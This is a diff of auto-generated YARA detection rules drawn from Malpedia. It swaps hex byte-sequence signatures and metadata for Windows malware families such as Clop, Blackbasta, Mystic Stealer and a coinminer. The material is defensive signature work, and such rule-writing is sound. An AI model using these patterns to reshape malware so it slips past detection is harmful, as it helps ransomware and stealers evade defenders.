-		$sequence_8 = { e8???????? 894644 eb00 8b4e44 c601ff c64101ff c64102ff }
-		$sequence_9 = { eb09 8b4df4 83c101 894df4 837df40a 7302 ebef }
+		$sequence_0 = { 49 85c9 0f8527ffffff ff75f8 }
+		$sequence_1 = { 49 75b6 8bcf 2b4d0c 83e103 }
+		$sequence_2 = { 83bdecfeffff01 7505 bb07000000 93 5b c9 c3 }
+		$sequence_3 = { aa ac 0ac0 740e 3c3d 740a e8???????? }
+		$sequence_4 = { 0345f4 8b8ba4000000 85c9 742b }
+		$sequence_5 = { ff7508 6a00 ff35???????? 58 ffd0 }
+		$sequence_6 = { 351f5b5742 ab 05f8383ad2 ab ff75fc }
+		$sequence_7 = { 59 85c0 75d1 83bb8000000000 7465 }
+		$sequence_8 = { 8d8614850010 50 ffb610850010 57 }
+		$sequence_9 = { 59 c3 56 8b742408 6804010000 68f8820010 }
+		$sequence_10 = { 330c85908f0010 42 3b54240c 72e4 f7d1 8bc1 }
+		$sequence_11 = { 57 8d3c95c0850010 8b0f 334f04 23cb }
+		$sequence_12 = { 330d???????? 5b 8bc1 83e001 d1e9 330c8500850010 330d???????? }
+		$sequence_13 = { 57 50 e8???????? 68f4600010 56 }
+		$sequence_14 = { 33d2 a3???????? 42 b9c0850010 8b01 c1e81e 3301 }
+		$sequence_15 = { 6800800010 ff742410 e8???????? 6823af2930 56 ff742410 }
 
 	condition:
-		7 of them and filesize <10952704
+		7 of them and filesize <172032
 }
-rule MALPEDIA_Win_Furtim_Auto : FILE
+rule MALPEDIA_Win_Jaff_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ff92451b-6d4d-5ce0-b407-7dcb5e6ae2c6"
+		id = "05c08a02-2b7b-5977-8a51-2a2090077d3b"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.furtim"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.furtim_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jaff"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.jaff_auto.yar#L1-L125"
 		license_url = "N/A"
-		logic_hash = "01fa4c0038a5d8991914e1859c3786c2de4cd564716dd7c7ecdf607d66ee4df9"
+		logic_hash = "af5ef67353fca994a67e82aadde11782d5e684720bb76ef0f2df38c565071742"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -143371,34 +150307,34 @@ rule MALPEDIA_Win_Furtim_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 5f 5e c9 c20400 6a0c 68???????? e8???????? }
-		$sequence_1 = { 85c0 7c28 8d45fc 50 6a04 ff15???????? }
-		$sequence_2 = { c7867802000020d94000 c78600050000cb224000 c786f406000032164000 c746601c724400 c7869c06000032254000 c786fc020000ca254000 }
-		$sequence_3 = { 59 85c0 7408 8bce ff96cc050000 5f }
-		$sequence_4 = { 57 8bf1 8dbeb8000000 57 c7071c010000 ff96bc030000 }
-		$sequence_5 = { c9 c20800 8bff 55 8bec 83ec10 ff7508 }
-		$sequence_6 = { 0f85e3000000 39a9c0000000 7542 0fb781cc010000 663bc5 7405 663bc3 }
-		$sequence_7 = { 740f 837dfc01 7509 c686c405000001 eb0e 8bce ff96f8040000 }
-		$sequence_8 = { c745e4e4624400 c745e8ec624400 c745ecf4624400 c745f0fc624400 c745f404634400 c745f8???????? }
-		$sequence_9 = { 389f94010000 7546 80bf9501000015 7535 80bf960100005d 752c 8bce }
+		$sequence_0 = { c746080a000000 c6460c01 ffd7 8b1d???????? 50 ffd3 6a14 }
+		$sequence_1 = { 8bf8 e8???????? 8b4704 48 7818 }
+		$sequence_2 = { 8b4514 8b4d10 6a00 8d55fc 52 50 51 }
+		$sequence_3 = { 72ed 8b45dc 50 6a00 ffd7 50 }
+		$sequence_4 = { ffd3 8945f0 8b450c 8d5de0 8d4df0 e8???????? 8b45e0 }
+		$sequence_5 = { 3b4510 0f82a5feffff 8b4d14 51 6a00 }
+		$sequence_6 = { 8d5598 52 8d45cc 50 e8???????? 8d7da8 }
+		$sequence_7 = { 33c2 2bc2 50 8d95f8fbffff 68???????? }
+		$sequence_8 = { 8d4584 e8???????? 8d7da4 8d75e4 e8???????? 8b55a4 8b3d???????? }
+		$sequence_9 = { c745f00a000000 c645f401 ffd3 50 ff15???????? 8945e8 }
 
 	condition:
-		7 of them and filesize <622592
+		7 of them and filesize <106496
 }
-rule MALPEDIA_Win_Batel_Auto : FILE
+rule MALPEDIA_Win_Mystic_Stealer_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5c784793-7499-59d2-9d6e-e8d3b0a588c6"
+		id = "677c1a33-ba88-5fd2-bb60-e482ebad5ee5"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.batel"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.batel_auto.yar#L1-L228"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mystic_stealer"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mystic_stealer_auto.yar#L1-L113"
 		license_url = "N/A"
-		logic_hash = "54d1d1c2accc87182d1d618459ab2c69708bc7f726841a04281db6bdb06903a0"
+		logic_hash = "7ef3f130d7f708fe480ce6294f73f2aa94b8d0f4c6423ffb91a1e80eb925cec4"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -143410,45 +150346,32 @@ rule MALPEDIA_Win_Batel_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 33c0 5b c21000 3b0d???????? 7502 f3c3 }
-		$sequence_1 = { 56 b858212300 be58212300 57 8bf8 3bc6 }
-		$sequence_2 = { 7429 68f4202300 56 ff15???????? }
-		$sequence_3 = { 7cec 56 57 6a40 6800100000 }
-		$sequence_4 = { 7ccd 5f 5e 5d 33c0 5b c21000 }
-		$sequence_5 = { c745fc00000000 6800002300 e8???????? 83c404 }
-		$sequence_6 = { 689d020000 8d8561fdffff 6a00 50 c68560fdffff00 }
-		$sequence_7 = { 8b1d???????? bf01000000 8d642400 68???????? ff15???????? }
-		$sequence_8 = { b8???????? 8a10 88940d60fdffff 83c003 }
-		$sequence_9 = { a1???????? 85c0 752c 8935???????? 68d0202300 }
-		$sequence_10 = { 40 c20c00 55 8bec 81eca0020000 68ee020000 ff15???????? }
-		$sequence_11 = { b90b010000 66398818002300 75dd 83b8740023000e 76d4 }
-		$sequence_12 = { ffd3 68005c2605 ffd5 47 83ff5a 7ccd 5f }
-		$sequence_13 = { 55 8b2d???????? 56 57 68a00f0000 ffd5 }
-		$sequence_14 = { 85c0 7412 ffd0 56 }
-		$sequence_15 = { 59 6a00 ff15???????? 68d8202300 ff15???????? 833d????????00 }
-		$sequence_16 = { 68a00f0000 ffd5 8b1d???????? bf01000000 }
-		$sequence_17 = { 50 c68560fdffff00 e8???????? 83c40c 33c9 }
-		$sequence_18 = { 85f6 7422 68???????? 56 ff15???????? 85c0 7412 }
-		$sequence_19 = { 6a00 ff15???????? 8bf8 b9a7000000 8db560fdffff f3a5 66a5 }
-		$sequence_20 = { 6a40 6800100000 689e020000 6a00 ff15???????? }
-		$sequence_21 = { 83b8740023000e 76d4 33c9 3988e8002300 0f95c1 8bc1 6a02 }
-		$sequence_22 = { 66a5 ffd0 5f 5e }
+		$sequence_0 = { 8b461c 42 8b4e08 895614 8a4007 88040a 8b5614 }
+		$sequence_1 = { 0fb7c7 eb0b 8d4203 8986bc160000 }
+		$sequence_2 = { 6a02 5d 8b4774 3d06010000 }
+		$sequence_3 = { 0fb7d8 668bc3 66d3e0 660bc6 0fb7c0 }
+		$sequence_4 = { eb15 8d4503 8987bc160000 8d4304 }
+		$sequence_5 = { 668b476c 66890451 85f6 741a 8b4f6c }
+		$sequence_6 = { 668bc2 8d5f14 66d3e0 8b0b 660bc6 }
+		$sequence_7 = { eb0c 8d5103 0fb7c0 8996bc160000 0fb7c8 }
+		$sequence_8 = { 8a86b9160000 88040a b110 2a8ebc160000 8b86bc160000 ff4614 }
+		$sequence_9 = { 02c2 03cb 0fb6c0 8a843800010000 }
 
 	condition:
-		7 of them and filesize <49152
+		7 of them and filesize <512000
 }
-rule MALPEDIA_Win_Clop_Auto : FILE
+rule MALPEDIA_Win_Darkme_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "59cb28c0-0028-51c2-94ee-931d5b6fa068"
+		id = "08b1ecd8-4245-5b36-9b97-82dc7b781460"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.clop"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.clop_auto.yar#L1-L188"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkme"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.darkme_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "f2736024915a6a0ca98a26d3016fbd37034bb9a8e1a0f37004991cc314f844e2"
+		logic_hash = "8ec0d0c962cec5e0ecd8c6f133e096757eb87617c4861f80c1b1cf3c91f3cada"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -143462,41 +150385,32 @@ rule MALPEDIA_Win_Clop_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 83c40c 6860070000 6a40 ff15???????? }
-		$sequence_1 = { 6a04 6800300000 6887000000 6a00 }
-		$sequence_2 = { ff15???????? 56 53 8bf8 ff15???????? 8bf0 56 }
-		$sequence_3 = { 57 6a00 ff15???????? 68???????? 8bd8 }
-		$sequence_4 = { ff15???????? 8bf0 56 53 ff15???????? 50 }
-		$sequence_5 = { 6683e07f 6683f87f 8d642408 0f85fd0b0000 eb00 f30f7e442404 660f2815???????? }
-		$sequence_6 = { 50 ff15???????? 83c40c 6860070000 }
-		$sequence_7 = { ffd0 c3 8bff 55 8bec 83ec1c 8d4de4 }
-		$sequence_8 = { 0f85aa010000 68???????? 8d442450 50 }
-		$sequence_9 = { 8be5 5d c20400 56 ff15???????? 6a00 }
-		$sequence_10 = { 8d85bcefffff 50 ff15???????? 68???????? }
-		$sequence_11 = { 68???????? 68???????? e8???????? 83c424 6aff }
-		$sequence_12 = { 6888130000 ffd7 6a00 6a00 6a00 68???????? }
-		$sequence_13 = { ff15???????? 68???????? 8d85dcf7ffff 50 }
-		$sequence_14 = { 83c408 6aff ff15???????? 33c0 }
-		$sequence_15 = { 83c40c 33f6 85ff 7428 }
-		$sequence_16 = { 83c424 53 50 ffd6 }
-		$sequence_17 = { 6aff ffd7 8b4dfc 33c0 5f }
-		$sequence_18 = { 8d8424dc0b0000 50 ffd6 85c0 751a 68???????? 8d8424dc0b0000 }
+		$sequence_0 = { 8dbddcfcffff f3ab b964000000 8dbd18fbffff 68???????? 8985d8fcffff 8985d4fcffff }
+		$sequence_1 = { 51 8d55d4 52 6a02 ff15???????? 83c40c 8d45c4 }
+		$sequence_2 = { 8b8518ffffff 8b08 8b9518ffffff 52 ff5114 dbe2 }
+		$sequence_3 = { 6a00 ff15???????? 50 8b558c 81c2???????? 52 ff15???????? }
+		$sequence_4 = { c745880a000000 8b8530ffffff 50 ff15???????? 8945a0 c7459808000000 8b4dd4 }
+		$sequence_5 = { 8b8500ffffff 50 8b8dfcfeffff 51 ff15???????? 898594feffff eb0a }
+		$sequence_6 = { 05???????? 898588feffff eb12 8b8db4feffff 81c1???????? 898d88feffff 8b9588feffff }
+		$sequence_7 = { 83c42c 51 68???????? ff15???????? 85c0 0f851afeffff }
+		$sequence_8 = { 8b5144 52 8d8524ffffff 50 8d8d54ffffff 51 ff15???????? }
+		$sequence_9 = { 8b08 8b95fcfeffff 52 ff5120 }
 
 	condition:
-		7 of them and filesize <796672
+		7 of them and filesize <1515520
 }
-rule MALPEDIA_Win_Backspace_Auto : FILE
+rule MALPEDIA_Win_Coinminer_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "8637042a-e46d-5e46-8b23-93a8dfec3a24"
+		id = "05a9b3c6-9a1c-50a2-a943-afdee621f718"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.backspace"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.backspace_auto.yar#L1-L121"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.coinminer"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.coinminer_auto.yar#L1-L125"
 		license_url = "N/A"
-		logic_hash = "f8be0bb8ce4eb3c98209ea23733b4688fab87fe72dcb307bd40859035b4f4c31"
+		logic_hash = "254b4cb9ab983948d36cfb896be0834484f66bd70a718e15bb65a41d1319a142"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -143510,32 +150424,32 @@ rule MALPEDIA_Win_Backspace_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 57 40 50 ff15???????? 85c0 0f8fa3000000 }
-		$sequence_1 = { 3bfb 59 7405 83c705 }
-		$sequence_2 = { 8d8500feffff 50 e8???????? 83c424 85c0 740b ff750c }
-		$sequence_3 = { 8b45f8 ff45f8 3d88130000 7f51 ebc9 8a06 }
-		$sequence_4 = { 885d91 885d92 885d93 885d94 }
-		$sequence_5 = { ff15???????? f7d8 1bc0 59 83e002 59 48 }
-		$sequence_6 = { 393d???????? 7552 be00200000 ff75f8 8d85f8dfffff }
-		$sequence_7 = { 50 e8???????? 56 e8???????? 8bd8 be???????? 83c306 }
-		$sequence_8 = { 8d85f8dfffff 50 e8???????? 59 8bc3 59 e9???????? }
-		$sequence_9 = { a3???????? ff75fc ffd6 395dfc }
+		$sequence_0 = { 85d2 750d 8b45f8 8b55fc 5f 5e }
+		$sequence_1 = { 8d7f04 73ef 83c104 8a10 7410 48 ffc0 }
+		$sequence_2 = { e9???????? 6a00 ff742414 ffd6 ff742414 8b3d???????? ffd7 }
+		$sequence_3 = { c3 8bc6 c745f200000000 99 0f57c0 66c745f60000 660fd645ea }
+		$sequence_4 = { 8bf0 e8???????? 8bf8 8d842450130000 }
+		$sequence_5 = { 53 56 8b35???????? 8bd9 57 8b3d???????? }
+		$sequence_6 = { 57 ff15???????? c70300000000 8b4510 5f c70600000000 5e }
+		$sequence_7 = { 9b 53 83473220 2c6a }
+		$sequence_8 = { 8d842434010000 50 ff15???????? 56 e8???????? 57 }
+		$sequence_9 = { 83c408 890d???????? 8bf2 8935???????? 85c9 7504 85f6 }
 
 	condition:
-		7 of them and filesize <131072
+		7 of them and filesize <1523712
 }
-rule MALPEDIA_Win_Unidentified_087_Auto : FILE
+rule MALPEDIA_Win_Heriplor_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "40b9cd18-d110-5435-969b-5dfac9c340c4"
+		id = "d711b4d9-3914-58b9-9b88-9214444e3dee"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_087"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_087_auto.yar#L1-L174"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.heriplor"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.heriplor_auto.yar#L1-L121"
 		license_url = "N/A"
-		logic_hash = "110739d44f9e53e4e50b40a1961bcb5043ade07265d58318b1d26ddc3eb75b3c"
+		logic_hash = "bf5971e2bb98e2180b60da71db38d7f4898a68723f2588a48c70334b337b7d93"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -143549,38 +150463,32 @@ rule MALPEDIA_Win_Unidentified_087_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c7453802000000 ff15???????? 83f801 7409 83f80d 0f8581000000 }
-		$sequence_1 = { 4c8d9c2480020000 498b5b28 498b7330 498be3 415c }
-		$sequence_2 = { 4d8bcf 4533c0 488d542428 488d4c2450 e8???????? 488d5580 488d4c2450 }
-		$sequence_3 = { 895c2420 48895908 4c8bf1 488948c8 }
-		$sequence_4 = { 40b601 488bcb ff15???????? 400fb6c6 }
-		$sequence_5 = { ff15???????? 483905???????? 752b 8b442460 3905???????? 751f }
-		$sequence_6 = { eb09 488b05???????? 33d2 8d3c10 488b4c2450 48634104 f644046006 }
-		$sequence_7 = { 488d68a1 4881ece0000000 48c745c7feffffff 48895810 48897818 488b05???????? 4833c4 }
-		$sequence_8 = { c6864b01000043 c7466870040210 6a0d e8???????? 59 8365fc00 ff7668 }
-		$sequence_9 = { 89430c 8d4310 8d89a4080210 5a 668b31 }
-		$sequence_10 = { 6a10 57 ff15???????? 6a00 6a00 6a00 8d8584feffff }
-		$sequence_11 = { c745e40f000000 895de0 885dd0 8d45d0 50 }
-		$sequence_12 = { ff15???????? 50 8dbdf8feffff e8???????? 83c404 5f }
-		$sequence_13 = { c705????????25ca0010 8935???????? a3???????? ff15???????? a3???????? 83f8ff }
-		$sequence_14 = { 7461 8d0cbd602c0210 8901 8305????????20 8b11 }
-		$sequence_15 = { 85c9 7410 8b14b8 8911 8b0d???????? }
+		$sequence_0 = { c20c00 55 89e5 56 57 33c9 648b4130 }
+		$sequence_1 = { 40 5b 59 89ec }
+		$sequence_2 = { 8a08 84c9 740d 80c960 01cb c1e301 }
+		$sequence_3 = { 668b13 8b0491 01f8 5f 5e 89ec 5d }
+		$sequence_4 = { 89e5 51 53 33db 33c9 8b4508 }
+		$sequence_5 = { 85ff 7420 46 46 }
+		$sequence_6 = { 7407 83c204 43 43 ebe6 33d2 668b13 }
+		$sequence_7 = { 01fb 8b32 01fe 6a01 ff750c }
+		$sequence_8 = { 3b5d0c 7401 40 5b }
+		$sequence_9 = { 01f9 01fa 01fb 8b32 01fe 6a01 ff750c }
 
 	condition:
-		7 of them and filesize <462848
+		7 of them and filesize <49152
 }
-rule MALPEDIA_Win_Himan_Auto : FILE
+rule MALPEDIA_Win_Unidentified_044_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a882d092-072a-5641-b214-8642f7cc1e11"
+		id = "a037a55a-a1d2-5696-aa65-bcad92ff6480"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.himan"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.himan_auto.yar#L1-L127"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_044"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_044_auto.yar#L1-L119"
 		license_url = "N/A"
-		logic_hash = "bf239bbd05c563f996119e72de32999d711849487b106db1285219d82e77b92b"
+		logic_hash = "fa0bbb48e3a00969b6207e7af2c24fceeabe6227dd53aafea6a4369ea97af4c2"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -143594,34 +150502,34 @@ rule MALPEDIA_Win_Himan_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b7b04 33ee 8b7068 0554010000 c1e204 33f7 }
-		$sequence_1 = { 8b442410 3bd0 7422 56 ff15???????? 57 ff15???????? }
-		$sequence_2 = { 894c2414 8bcb c1e910 81e1ff000000 }
-		$sequence_3 = { c1e008 0bc7 c1e008 0bc1 8bc8 8904b594886e00 }
-		$sequence_4 = { 8bda c1eb18 8b2cad948c6e00 332c9d94946e00 8bd9 c1eb10 81e3ff000000 }
-		$sequence_5 = { 8b08 50 ff5108 8b8c24a8050000 5f }
-		$sequence_6 = { 8d85a0fcffff 50 ff15???????? 8da594d4ffff 5f 5e 5b }
-		$sequence_7 = { c1e910 3334adbcc26e00 8beb 81e5ff000000 81e1ff000000 c1eb08 3334adbcba6e00 }
-		$sequence_8 = { 333c9594946e00 8b542414 c1ea10 81e2ff000000 333c9594906e00 8bd1 81e2ff000000 }
-		$sequence_9 = { c1c108 890cb5948c6e00 8a8ebccb6e00 8bd0 884c2410 8b7c2410 c1c210 }
+		$sequence_0 = { 8bca 8bd8 e8???????? 83c404 84c0 7409 668b542408 }
+		$sequence_1 = { 3bcf 7416 8d9b00000000 80792400 7403 }
+		$sequence_2 = { c3 8b8424e4020000 6a10 6a00 50 }
+		$sequence_3 = { 74b3 33ff 397c2418 76ab 33c0 }
+		$sequence_4 = { ff15???????? 3d1e270000 7552 8b442408 85c0 }
+		$sequence_5 = { 2bf0 03d8 85f6 7fe2 }
+		$sequence_6 = { 803e00 8be8 743f 53 57 }
+		$sequence_7 = { ffd5 8bb42464050000 85c0 7f85 7c24 f644242420 0f8468feffff }
+		$sequence_8 = { c7460403000000 ffd3 5b 5f 32c0 5e }
+		$sequence_9 = { 55 e8???????? 83c40c 84c0 74a0 8a442413 }
 
 	condition:
-		7 of them and filesize <139264
+		7 of them and filesize <90112
 }
-rule MALPEDIA_Win_Grease_Auto : FILE
+rule MALPEDIA_Win_Friedex_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "adc1cb70-ca80-5648-8c82-afd04a5873d7"
+		id = "97d1751f-5738-5834-8f82-479344539d3a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.grease"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.grease_auto.yar#L1-L230"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.friedex"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.friedex_auto.yar#L1-L172"
 		license_url = "N/A"
-		logic_hash = "3adaa81800887e757966a0f8096c9ffe86dfca2fec47d710b3b77554cf1c8228"
+		logic_hash = "8dffa1fb6804412157c235a0ef3196dc0c5961e846d30c21c59180ff32555e60"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -143633,47 +150541,40 @@ rule MALPEDIA_Win_Grease_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 52 50 683f000f00 50 50 50 }
-		$sequence_1 = { 488b4c2460 ff15???????? b801000000 488b8c2480020000 4833cc e8???????? 4881c490020000 }
-		$sequence_2 = { 4533c0 488bd3 c744242804000000 4889442420 ff15???????? 488b4c2450 ff15???????? }
-		$sequence_3 = { 488b05???????? 4833c4 4889842480020000 488d4c2472 }
-		$sequence_4 = { c74424281f000200 895c2420 ff15???????? 85c0 0f85e7000000 }
-		$sequence_5 = { 4533c9 48897c2440 4889442438 48897c2430 }
-		$sequence_6 = { 48895c2440 48895c2458 895c2460 48895c2468 }
-		$sequence_7 = { 4889442438 48897c2430 4533c0 c74424283f000f00 897c2420 ff15???????? 85c0 }
-		$sequence_8 = { 488b4c2450 488d442458 41b904000000 4533c0 488bd3 }
-		$sequence_9 = { 55 68000000c0 50 ff15???????? 8bf0 }
-		$sequence_10 = { e9???????? c684342c08000023 e9???????? c684342c08000021 e9???????? c684342c08000025 }
-		$sequence_11 = { 51 683f000f00 6a00 8d542424 52 6802000080 ffd7 }
-		$sequence_12 = { 85c0 7540 8d542420 52 8b542414 }
-		$sequence_13 = { 83c001 3acb 75f7 8b2d???????? }
-		$sequence_14 = { 83c404 85f6 8854240c 8d46ff 7412 8a4c040c }
-		$sequence_15 = { e9???????? c684341001000066 e9???????? c684341001000068 e9???????? }
-		$sequence_16 = { e8???????? 8b0d???????? 51 8d542418 }
-		$sequence_17 = { e9???????? c6440c082b e9???????? c6440c083e e9???????? c6440c083d e9???????? }
-		$sequence_18 = { c68434240600003f eb12 c68434240600002e eb08 }
-		$sequence_19 = { 8a08 40 84c9 7405 46 85c0 }
-		$sequence_20 = { 8b9c2418040000 56 57 b90d000000 be???????? }
-		$sequence_21 = { 50 897c2430 ffd5 8b542410 6a04 8d4c241c 51 }
-		$sequence_22 = { 8d942434010000 52 56 ffd7 b83b000000 53 668984242c010000 }
+		$sequence_0 = { e8???????? 57 8bc8 e8???????? 6a26 }
+		$sequence_1 = { c20c00 51 51 53 55 8be9 c744240820090d0a }
+		$sequence_2 = { 1adb e8???????? 6a20 5f }
+		$sequence_3 = { 74f9 33c9 663908 0f94c0 5f 5e 5d }
+		$sequence_4 = { 663910 7431 8bd8 8d7102 eb1d }
+		$sequence_5 = { 5f 5b 5e 5d c20c00 51 }
+		$sequence_6 = { 75c1 6a2a 5f eb06 b001 eb0f 03c5 }
+		$sequence_7 = { 6a00 ff760c ffd0 8b442408 5e }
+		$sequence_8 = { 8955e0 e8???????? 8d0dd830a500 890424 894c2404 e8???????? }
+		$sequence_9 = { 8d055a23a500 31c9 8d55d8 803d????????e9 8955d4 8945d0 }
+		$sequence_10 = { 8a2c057530a500 83c001 38e9 8945a0 8955cc 74bc }
+		$sequence_11 = { 8d055a23a500 5d c3 55 }
+		$sequence_12 = { c7424458270000 c7424800100100 8b7de4 c787cc00000000000000 c787c800000000000000 }
+		$sequence_13 = { 8b45a4 8a4daf 31d2 8a2c057530a500 83c001 38e9 }
+		$sequence_14 = { 8d0dc930a500 890424 894c2404 e8???????? 8d0d4430a500 31d2 8b75f8 }
+		$sequence_15 = { 8d0d4430a500 31d2 890c24 c744240400000000 }
 
 	condition:
-		7 of them and filesize <278528
+		7 of them and filesize <204800
 }
-rule MALPEDIA_Win_R980_Auto : FILE
+rule MALPEDIA_Win_Blackbasta_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5cd23ce7-fde9-586e-b7d0-c68d0d4730a5"
+		id = "5c8e56ab-6cbd-5deb-8276-9c7c1c51570f"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.r980"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.r980_auto.yar#L1-L133"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackbasta"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.blackbasta_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "6631f2c285d8397109ba8d7d2192a7dc1832567dbf3b5dac3dd0d91311ae325e"
+		logic_hash = "7b0b80b4e818e69a7ef8a8ed63d1384307760adc672033eb9b7389cd6b55895b"
 		score = 75
-		quality = 45
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -143685,32 +150586,32 @@ rule MALPEDIA_Win_R980_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 51 8d4dd4 e8???????? 837de810 8d45d4 53 0f4345d4 }
-		$sequence_1 = { e8???????? 56 8b08 8b01 ff5070 56 50 }
-		$sequence_2 = { 8d4dbc e8???????? 8d4dd4 e8???????? 8d4da4 e8???????? 8b4df4 }
-		$sequence_3 = { 85c0 7409 ff7608 50 e8???????? c7460800000000 c7460400000000 }
-		$sequence_4 = { 50 e8???????? 8bce e8???????? 8b4d1c 83c418 }
-		$sequence_5 = { 8bc7 f00fc14104 7515 8b01 ff10 8b4db4 8bc7 }
-		$sequence_6 = { ff4654 837e5440 750c c7465400000000 e8???????? 8b4658 83f8f8 }
-		$sequence_7 = { e8???????? 83ec18 8d8424c0000000 8bcc 50 e8???????? e9???????? }
-		$sequence_8 = { 8bc8 e8???????? 33c9 894ddc 8b448dc8 0f57c0 41 }
-		$sequence_9 = { c745fc00000000 8b30 8d45ec 50 e8???????? 83c404 8d4dec }
+		$sequence_0 = { ff7590 8bcf e8???????? 84c0 751f 384704 7507 }
+		$sequence_1 = { 89b574ffffff 894588 89458c e8???????? 84c0 755d 384304 }
+		$sequence_2 = { 5b 8b4df4 64890d00000000 8d656c 5d c3 8d4d30 }
+		$sequence_3 = { e8???????? 83c404 85c0 0f849d010000 8d5823 83e3e0 8943fc }
+		$sequence_4 = { c745e000000000 c745e40f000000 c645d000 c745fc00000000 ff734c e8???????? 83c404 }
+		$sequence_5 = { b867666666 c645e800 f7ea c1fa05 8bc2 c1e81f 03c2 }
+		$sequence_6 = { 85f6 7462 8b7d28 3bf7 7416 0f1f440000 8bce }
